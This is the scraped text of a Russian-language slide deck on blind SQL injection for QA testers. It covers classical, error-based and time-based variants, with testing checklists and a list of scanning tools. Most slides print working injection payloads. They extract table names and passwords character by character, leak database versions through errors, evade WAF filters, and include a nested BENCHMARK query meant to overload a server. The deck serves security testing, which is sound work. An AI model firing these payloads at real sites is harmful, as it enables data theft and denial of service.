ݺߣ

ݺߣShare a Scribd company logo
Слепые SQL инъекции.
Игорь Бондаренко. Neklo.
Цикл докладов
1/18
1. Тестирование защищенности веб-приложений
http://sqadays.com/ru/talk/11187
2. Тестирование программных фильтров
безопасности
http://sqadays.com/ru/talk/11128
Архитектура уязвимости
BlindSQLInjection
Classical Injection
Error Based Injection
Double Blind Injection
2/18
Условия возникновения
уязвимости
• Результат выполнения внедренного запроса не отображается
среди данных доступных пользователю
• Внедренный запрос попадает в несколько разных запросов,
осуществляющих выборку из таблиц с различным числом
столбцов
• Используется фильтрация склеивания запросов
3/18
Classical Injection
Вывод информации на экран: Невозможен
Способ обнаружения: Посимвольный перебор
site.com/index.php?id=2
Select title, page
From Pages
Where Pages.id = 2;
4/18
Обнаружение уязвимости
site.com/index.php?id=2’ AND ‘1’ = ‘1’—
Select title, page
From Pages
Where Pages.id = 2
AND 1=1;
site.com/index.php?id=2’ AND ‘1’=‘2’—
Select title, page
From Pages
Where Pages.id = 2
AND 1=2;
5/18
Эксплуатация уязвимости
site.com/index.php?id=2’ AND USER_NAME() =
‘Admin‘
site.com/index.php?id=2’ AND
ascii(lower(substring((SELECT TOP 1 name
FROM sysobjects WHERE xtype='U'), 1, 1))) >
109
6/18
Кому это нужно?
7/18
Тестирование
1. Проверка корректной обработки истинных и ложных
запросов
2. Проверка со значениями подобранными для
существующих пользователей и имен таблиц
8/18
Error Based Injection
Вывод информации на экран: В сообщениях об
ошибках
Способ обнаружения: Использование готовых техник
для конкретных баз данных
9/18
Способ обнаружения
site.com/index.php?id=2’ OR (SELECT COUNT(*)
FROM (SELECT 1 UNION SELECT 2 UNION
SELECT 3)x GROUP BY MID(VERSION(),
FLOOR(RAND(0)*2), 64)) --
При наличии уязвимости приложение вернет
ошибку:
Duplicate entry '5.0.45' for key 1
10/18
Запросы для других баз
данных
• PostgreSQL:
site.com/index.php?id=1 and(1)=cast(version() as numeric)—
• MSSQL:
site.com/index.php?id=1 and(1)=convert(int,@@version)—
• Sybase:
site.com/index.php?id=1 and(1)=convert(int,@@version)—
• Oracle:
site.com/index.php?id=1 and(1)=(select
upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where
rownum=1)||chr(62))) from dual)--
11/18
Тестирование
1. Определение версии и типа поддерживаемой БД
2. Использование готовых эксплоитов для
определенной БД
12/18
Double Blind Injections
Вывод информации на экран: Отсутствует
Способ обнаружения: Посимвольный перебор с
использованием временных задержек
13/18
Техники эксплуатации
Посимвольный перебор с помощью Benchmark:
site.com/index.php?id=2’ AND
ascii(lower(substring((SELECT TOP 1 name FROM
sysobjects WHERE xtype='U'), 1, 1))) > 109 , 1,
BENCHMARK(2999999,MD5(NOW())))
Способ навредить серверу БД:
site.com/index.php?id=2’ AND BENCHMARK(100000,
BENCHMARK(100000,md5(current_time)))
14/18
Техники эксплуатации
Использование логических запросов AND и OR
• /?id=2+OR+0x50=0x50
• /?id=2+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),
1,1)))=74
Использование функций синонимов для WAF
• substring((select 'password'),1,1) = 0x70
• substr((select 'password'),1,1) = 0x70
• mid((select 'password'),1,1) = 0x70
• strcmp(left('password',1), 0x69) = 1
• strcmp(left('password',1), 0x70) = 0
• strcmp(left('password',1), 0x71) = -1
15/18
Тестирование
1.Проверка отсутствия временных задержек
при выполнении истинных и ложных запросов
2.Подбор приемлемого времени отклика
3.Проверка со значениями подобранными для
существующих пользователей и имен таблиц
16/18
Программы для поиска
уязвимостей
1. SQLMap
2. Blind SQL Injector Tool
3. WebInspect
17/18
Заключение
1.Проверки слепых инъекций значительно
повысят качество ваших тестов
2.Тесты быстрые и простые
3.Тесты можно не проводить вручную
18/18
Вопросы
Email: bondarenko.ihar@yandex.ru
Skype: igor.bondarenko1

More Related Content

Blind Sql Injections. Хороши ли ваши тесты?